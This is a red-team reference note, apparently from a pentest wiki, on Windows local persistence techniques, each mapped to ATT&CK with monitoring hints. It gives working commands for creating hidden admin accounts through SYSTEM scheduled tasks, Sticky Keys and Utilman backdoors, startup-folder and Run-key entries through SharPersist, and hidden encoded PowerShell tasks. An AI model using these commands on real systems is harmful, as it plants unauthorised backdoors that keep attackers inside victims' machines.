# Local persistence

A number of techniques can be employed to maintain persistence on a Windows system, with the goal of maintaining access on the systems across restarts or other forms of interruption. For a more comprehensive list of the persistence that can be employed, refer to the entry for persistence in the [MITRE ATT\&CK matrices (TA0003)](https://attack.mitre.org/tactics/TA0003/).

Some of the techniques mentioned below can be accomplished through `Cobalt Strike`'s `execute-assembly` (or [`InlineExecute-Assembly`](https://github.com/anthemtotheego/InlineExecute-Assembly)) using the [`SharPersist`](https://github.com/mandiant/SharPersist) C# utility.

The forensics artefacts left by (some) of the persistence techniques detailed below are detailed in the `[DFIR] Windows - TTPs analysis - Local persistence` note.

### Local Administrator account

| ATT\&CK                                                 | Persistence type | Privilege level required | Monitoring possibilities                                                                         |
| ------------------------------------------------------- | ---------------- | ------------------------ | ------------------------------------------------------------------------------------------------ |
| [T1136.001](https://attack.mitre.org/techniques/T1098/) | Remote access.   | `Administrator`.         | <p>Windows default <code>Security</code> events.<br><br>Windows <code>API</code> monitoring.</p> |

The following `net user` commands can be used to create and add a local account to the local `Administrators` group (directly or periodically through a `Scheduled Task`):

```bash
# Creates a new account.
net user /add <USERNAME> <PASSWORD>

# Adds account as administrator.
net localgroup Administrators <USERNAME> /add
net localgroup Administrateurs <USERNAME> /add

# Define a scheduled task that will create a local user and add it to the local Administrator group every <MODIFIER>.
# The <PERIODICITY> depends on the periodicity chosen (minute, hourly, daily, weekly, or monthly): 1 - 1439 for minutes, 1 - 23 for hours, 1 - 365 for days, 1 - 52 for weeks or 1 - 12 for months.
# To avoid a warning on the password length (that may require an user interaction), the password specified should be shorter than 14 characters.
schtasks /create /tn "<TASK_NAME>" /tr "cmd /c net user <USERNAME> <PASSWORD> /add && net localgroup Administrators <USERNAME> /add" /sc <minute | hourly | daily | weekly | monthly> /mo <PERIODICITY> /RU "NT AUTHORITY\SYSTEM"
```

### Sticky Keys or Utilman backdoors

| ATT\&CK                                                     | Persistence type | Privilege level required | Monitoring possibilities                                                                                                                                                                     |
| ----------------------------------------------------------- | ---------------- | ------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [T1546.008](https://attack.mitre.org/techniques/T1547/001/) | Remote access.   | `Administrator`.         | <p>Non default specific <code>DACL</code> on the <code>sethc.exe</code> and <code>utilman.exe</code> files to raise alert upon modification.<br><br>Windows <code>API</code> monitoring.</p> |

Both the `Sticky Keys` (`sethc.exe`) and `Utilman` (`utilman.exe`) utilities can be launched at the login screen before authentication as `NT AUTHORITY\SYSTEM`. A graphical access to the host login prompt is needed in order to make use of this backdoor mechanism. Indeed, to remotely leverage persistence through `Sticky Keys` or `Utilman`:

* `RDP` must be enabled and the `RDP` service accessible remotely over the network. Refer to the `Activate RDP` and `Windows Firewall` sections of the present note to active `RDP` and configure a rule allowing inbound `RDP` access on the local host.
* The `RDP`'s `Network Level Authentication (NLA)` security mechanism must be deactivated if no valid credentials are known.

To access a host remotely in `RDP`, the user used must have the `SeRemoteInteractivePrivilege`, granted by default to the members of the `Remote Desktop Users` local group of the host. The following `net localgroup` commands can be used to add the specified user in this group:

```bash
net localgroup "Remote Desktop Users" <USERNAME> /add
net localgroup "Utilisateurs du Bureau à distance" <USERNAME> /add

# Connect in RDP from Linux
rdesktop -k fr -g 90% -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' <HOSTNAME | IP>
```

The `sethc.exe` is launched after pushing the `Maj` key five times and the `utilman.exe` can be started using the `Win + U` keys.

```bash
copy %ComSpec% %SystemRoot%\System32\sethc.exe
copy %ComSpec% %SystemRoot%\System32\utilman.exe
```

### Windows startup folders

| ATT\&CK                                                     | Persistence type | Privilege level required                                             | Monitoring possibilities                                                                                                                                                                                                                                |
| ----------------------------------------------------------- | ---------------- | -------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [T1547.001](https://attack.mitre.org/techniques/T1547/001/) | Code execution.  | User or `Administrator` depending on the `startup folders` targeted. | <p>Non default specific <code>DACL</code> on the <code>startup folders</code> files to raise alert upon file creation.<br><br>Periodic review / validation of the <code>startup folders</code> entries.<br><br>Windows <code>API</code> monitoring.</p> |

The Windows `startup folders` contains `shortcut links` (`.lnk`) that will be executed upon any user log in (`All Users` `start up` folder) or when the associated user logs in (`Current Users` `start up` folders).

The `startup folders` are located at the following paths:

```bash
# All Users startup folder.
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

# Current Users startup folders.
C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
```

A `shortcut link` file can be created manually through the `Windows Explorer`:

```
# In the folder in which the shortcut link should be created:
Right click -> New -> Shortcut -> Enter the <BINARY_PATH> and eventual <ARGUMENTS> -> Next -> Enter the shortcut link file name <LNK_FILE_NAME> -> Finish

# The appearance and comportment of the created shortcut link can be customized:
Right click on the shortcut link file -> Properties
  -> Eventually specify a custom folder path as needed -> Start in: <DIRECTORY_FULL_PATH>
  -> Run: Minimized
  -> Change Icon... -> Select icon displayed for the file.
```

PowerShell can also be used to create and customize a `shortcut link` file:

```bash
$WShell = New-Object -ComObject WScript.Shell
$Shortcut = $WShell.CreateShortcut("<LNK_FILE_NAME>")
$Shortcut.TargetPath = "<BINARY_PATH>"
$Shortcut.Arguments = "<ARGUMENTS>"
$Shortcut.WorkingDirectory = "<DIRECTORY_FULL_PATH>"
$Shortcut.IconLocation = "<ICON_FILE_PATH>"
# 7 = Minimized window.
$Shortcut.WindowStyle = 7
$Shortcut.Save()
```

`SharPersist` supports persistence techniques through the current user's `startup folder`. `SharPersist` presents the advantage of performing timestomping on the created `shortcut link` file and setting the file icon to `Internet Explorer` for increased stealth.

```bash
# Lists the entries in the current user startup folder.
SharPersist.exe -t startupfolder -m list

# Adds a lnk file in the current user startup folder executing the specified executable.
SharPersist -t startupfolder -c "<BINARY_PATH>" [-a "<ARGUMENTS>"] -f "<LNK_FILE_NAME>" -m add

# Removes the specified startup folder entry.
SharPersist.exe -t startupfolder -f "<LNK_FILE_NAME>" -m remove
```

### ASEP registry keys

| ATT\&CK                                                                                                                                                                                          | Persistence type | Privilege level required | Monitoring possibilities                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ---------------- | ------------------------ | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p><a href="https://attack.mitre.org/techniques/T1547/001/">T1547.001</a><br><br><code>Winlogon</code> registry keys: <a href="https://attack.mitre.org/techniques/T1547/004/">T1547.004</a></p> | Code execution.  | User or `Administrator`. | <p>Windows default <code>Microsoft-Windows-Shell-Core%4Operational.evtx</code> events for the <code>Run</code> / <code>RunOnce</code> registry keys (starting from Windows 10 and Windows Server 2016).<br><br>Non default specific <code>DACL</code> on <code>ASEP</code> registry keys to raise alerts upon operations on the keys (<code>Create Subkey</code>, <code>Set Value</code>, ...).<br><br>Periodic review / validation of the <code>ASEP</code> registry keys configured.<br><br>Windows <code>API</code> monitoring.</p> |

A number of registry keys, known as `Auto-Start Extensibility Points (ASEP)` registry keys, are run whenever the system is booted or a specific user logs in. The `ASEP` keys under `HKEY_LOCAL_MACHINE (HKLM)` are run every time the system is started, while the `ASEP` keys under `HKEY_CURRENT_USER (HKCU)` are only executed when the user associated with the keys logs on to the system.

For more information on `ASEP` keys, including a more comprehensive list of `ASEP` registry keys, refer to the `[DFIR] Windows - TTPs analysis - Local persistence` note (`ASEP registry keys` section).

*RunOnce / Run / RunOnceEx*

Among the most well known `ASEP` keys, entries in the `RunOnce` and `Run` keys are executed respectively once or at every trigger (system startup or user logging depending on the keys being in `HKLM` or `HKCU`).

```
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx

HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
```

`SharPersist` supports persistence techniques through a number of `ASEP` keys, specified with the `-k "<KEY_SPECIFIER>"` parameter:

* `hklmrun`: `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`
* `hklmrunonce`: `HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce`
* `hklmrunonceex`: `HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx`
* `hkcurun`: `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
* `hkcurunonce`: `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`
* `logonscript`: `HKCU\Environment\`, key name `UserInitMprLogonScript`. Windows logon script executed at logon, that can be set at a domain level. May overwrite a legitimate logon script.
* `stickynotes`: `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\`, key name `RESTART_STICKY_NOTES`. Does not apply to Windows 10+. The `RESTART_STICKY_NOTES` registry key is set by the `Sticky Notes` utility to persist across reboot. The `Sticky Notes` utility re-set the `RESTART_STICKY_NOTES` key after being opened.
* `userinit`: `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon`, key name `Userinit`.

```
SharPersist -t reg [-o env] -c "<BINARY_PATH>" [-a "<ARGUMENTS>"] -k "<KEY_SPECIFIER>" -v "<KEY_NAME>" -m add
```

### Scheduled tasks

| ATT\&CK                                             | Persistence type | Privilege level required | Monitoring possibilities                                                                                                                                                                                                      |
| --------------------------------------------------- | ---------------- | ------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [T1053](https://attack.mitre.org/techniques/T1053/) | Code execution.  | User or `Administrator`. | <p>Windows default <code>Microsoft-Windows-TaskScheduler%4Operational.evtx</code> events.<br><br>Periodic review / validation of the <code>Scheduled tasks</code> configured.<br><br>Windows <code>API</code> monitoring.</p> |

```
# <TASK_COMMAND> example with the Windows built-in cmd.exe or PowerShell:
cmd.exe /c '<COMMAND> <COMMAND_ARGS>' | %ComSpec% /c '<COMMAND> <COMMAND_ARGS>'
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -C '<COMMAND> <COMMAND_ARGS>'
powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc <ENCODED_BASE64_CMD>
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoP -NonI -W Hidden -Enc <ENCODED_BASE64_CMD>

# Create a scheduled task to run PowerShell code for example
schtasks /create /tn "<TASK_NAME>" /tr "<TASK_COMMAND>" /sc once /sd <MM/DD/YYYY> /st <HH:MM:SS> /V1 /Z /RU "NT AUTHORITY\SYSTEM" /S <IP | HOSTNAME>

# The creation and status of the scheduled task can be validated
schtasks /query /tn "<TASK_NAME>" /S <IP | HOSTNAME>
schtasks /run /tn "<TASK_NAME>" /S <IP | HOSTNAME>
schtasks /delete /tn "<TASK_NAME>" /S <IP | HOSTNAME>
```

### Windows services

| ATT\&CK                                                     | Persistence type | Privilege level required | Monitoring possibilities                                                                                                                                                                                                                                   |
| ----------------------------------------------------------- | ---------------- | ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| [T1543.003](https://attack.mitre.org/techniques/T1543/003/) | Code execution.  | `Administrator`.         | <p>Windows default <code>System.evtx</code> and <code>Security.evtx</code> (since Windows Server 2016 and Windows 10) events.<br><br>Periodic review / validation of the <code>Services</code> configured.<br><br>Windows <code>API</code> monitoring.</p> |

### WMI subscription

TODO

<https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf>

### DLL hijacking

TODO

<https://www.blackarrow.net/leveraging-microsoft-teams-to-persist-and-cover-up-cobalt-strike-traffic/>

***

### References

<https://github.com/mandiant/SharPersist/blob/master/Brett%20Hawkins%20SharPersist%20DerbyCon%202019.pdf>

<https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/>

<https://h4wkst3r.blogspot.com/2018/05/persistence-with-sticky-notes-registry.html>

<https://www.ired.team/offensive-security/persistence/windows-logon-helper>